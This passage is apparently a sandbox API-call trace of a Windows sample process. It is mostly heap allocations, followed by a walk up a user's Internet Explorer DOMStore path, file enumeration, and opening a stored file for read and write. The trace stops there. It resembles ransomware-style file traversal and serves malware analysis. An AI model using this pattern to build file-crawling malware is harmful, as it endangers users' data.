(HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.682] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.682] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.683] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.683] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.684] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.684] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.685] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.685] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.686] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.686] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.687] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0122.687] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0122.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0122.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0122.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\") returned="3O75JDME\\" [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e748 [0122.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x3022f48 [0122.688] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e748 | out: hHeap=0x5e0000) returned 1 [0122.688] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0122.688] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0122.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0e30 [0122.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022f48 | out: hHeap=0x5e0000) returned 1 [0122.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0122.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0e30 | out: hHeap=0x5e0000) returned 1 [0122.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde950 [0122.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0122.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0122.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde950 | out: hHeap=0x5e0000) returned 1 [0122.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0122.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0122.689] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.689] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.689] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.689] PathFindFileNameW (pszPath="") returned="" [0122.689] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.690] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.690] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1 [0122.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6fd8 [0122.690] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11e) returned 0x2f84e20 [0122.690] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6fd8 | out: hHeap=0x5e0000) returned 1 [0122.690] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned=".xml" [0122.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0122.691] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=13) returned 1 [0122.692] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0122.693] 